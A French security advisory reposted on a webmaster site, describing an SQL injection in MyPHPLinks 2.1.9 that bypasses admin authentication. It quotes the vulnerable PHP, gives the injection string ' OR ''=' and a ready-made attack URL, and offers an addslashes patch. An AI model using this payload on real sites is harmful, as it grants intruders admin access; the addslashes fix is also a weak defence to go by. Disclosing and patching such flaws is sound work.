Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > MyPhpLinks


    MyPhpLinks

    MyPHPLinks
    **********
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Website : http://www.myphpsoft.net
    Versions : 2.1.9, 2.2.0 CVS
    Problème : Injection SQL -> Accès admin

    Developpement :
    °°°°°°°°°°°°°°°
    "MyPHPLinks est un annuaire de liens de type Yahoo, il dispose d'un système de cache, d'une section modérateur pour la
    validation des liens ainsi que d'un système de Mailing List afin d'informer les surfeurs de l'arrivé de nouveaux liens.
    L'outil d'administration simple, permet d'effectuer toutes les opérations possibles sur un lien ou une catégorie
    (valider, supprimer, activer, désactiver, modifier...)
    Il intègre aussi : un top click, un moteur de recherche (mots clés et description) et permet de mettre en place des
    relations de catégorie."

    Il existe une version .php et une version .php3 de MyPHPLinks. J'ai pris pour l'explication la version .php,
    la seule difference étant de toute façon l'extension des fichiers.
    La faille va nous permettre d'accèder à la partie administration. Dans les fichiers de cette partie (admin/gestion.php,
    admin/index.php, admin/sendletter.php) on peut voir la ligne censée assurer sa sécurité :
    ----------------------------------
    include('auth/checksession.php');
    ----------------------------------

    Et dans le fichier admin/auth/checksession.php on peut voir les lignes :
    -----------------------------------------------------------------------------------------------------------------------
    [...]
    if($idsession!=''){
    $dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser, $MyPHPLinksPass);
    if(!$dbs->connect())
    die($dbs->error);
    if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now()"))
    die($dbs->error);
    while($dbs->nextrecord()){
    $loginauth = $dbs->valeur("nb");
    }
    if ($loginauth==0){
    header("Location:$MyPHPLinksAuthPErrDef");exit;
    }else{
    if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set timesession=now()+".$MyPHPLinksTLSession." where session='".$idsession."'"))
    die($dbs->error);
    }
    }else{
    header("Location:$MyPHPLinksAuthPErrDef");exit;
    }
    ?>
    -----------------------------------------------------------------------------------------------------------------------
    On peut voir qu'un administrateur est authentifié grâce à un idsession (généré dans admin/auth/login.php) enregistrée
    dans la base de donnée.
    On voit donc la requête SQL :
    --------------------------------------------------------------------------------------------------------
    select count(*) as nb from ".$MyPHPLinksTBAuth." where session='".$idsession."' and timesession > now()
    --------------------------------------------------------------------------------------------------------
    Si l'idsession est enregistré dans la DB, l'administrateur est loggé.
    On va donc essayer d'inserer un idsession valide. Pour cela on va utiliser la structure de la requête SQL.
    Rapellons que l'expression ''='', comme 1=1 ou 'a'='a' dans MySQL retourne toujours vrai.
    Si on entre donc comme valeur à la variable $idsession :
    ' OR ''='
    La requête deviendra :
    ----------------------------------------------------------------------------------------------
    select count(*) as nb from $MyPHPLinksTBAuth where session='' OR ''='' and timesession > now()
    ----------------------------------------------------------------------------------------------
    Ce qui retournera vrai.
    L'url, par exemple, http://[target]/admin/gestion.php?idsession='%20OR%20''=', fera accèder nimporte qui
    à la partie admin.

    Patch :
    °°°°°°°
    Dans admin/auth/checksession.php, ajouter juste après
    --------------------
    if($idsession!=''){
    --------------------
    la ligne :
    --------------------------------------
    $idsession = addslashes($idsession);
    --------------------------------------
    Un patch est disponible sur http://www.phpsecure.org .

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    Website : http://www.frog-man.org, http://www.phpsecure.org
    E-mail : frog-man@frog-man.org
    Date : 14/12/02
    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 267 millisecondes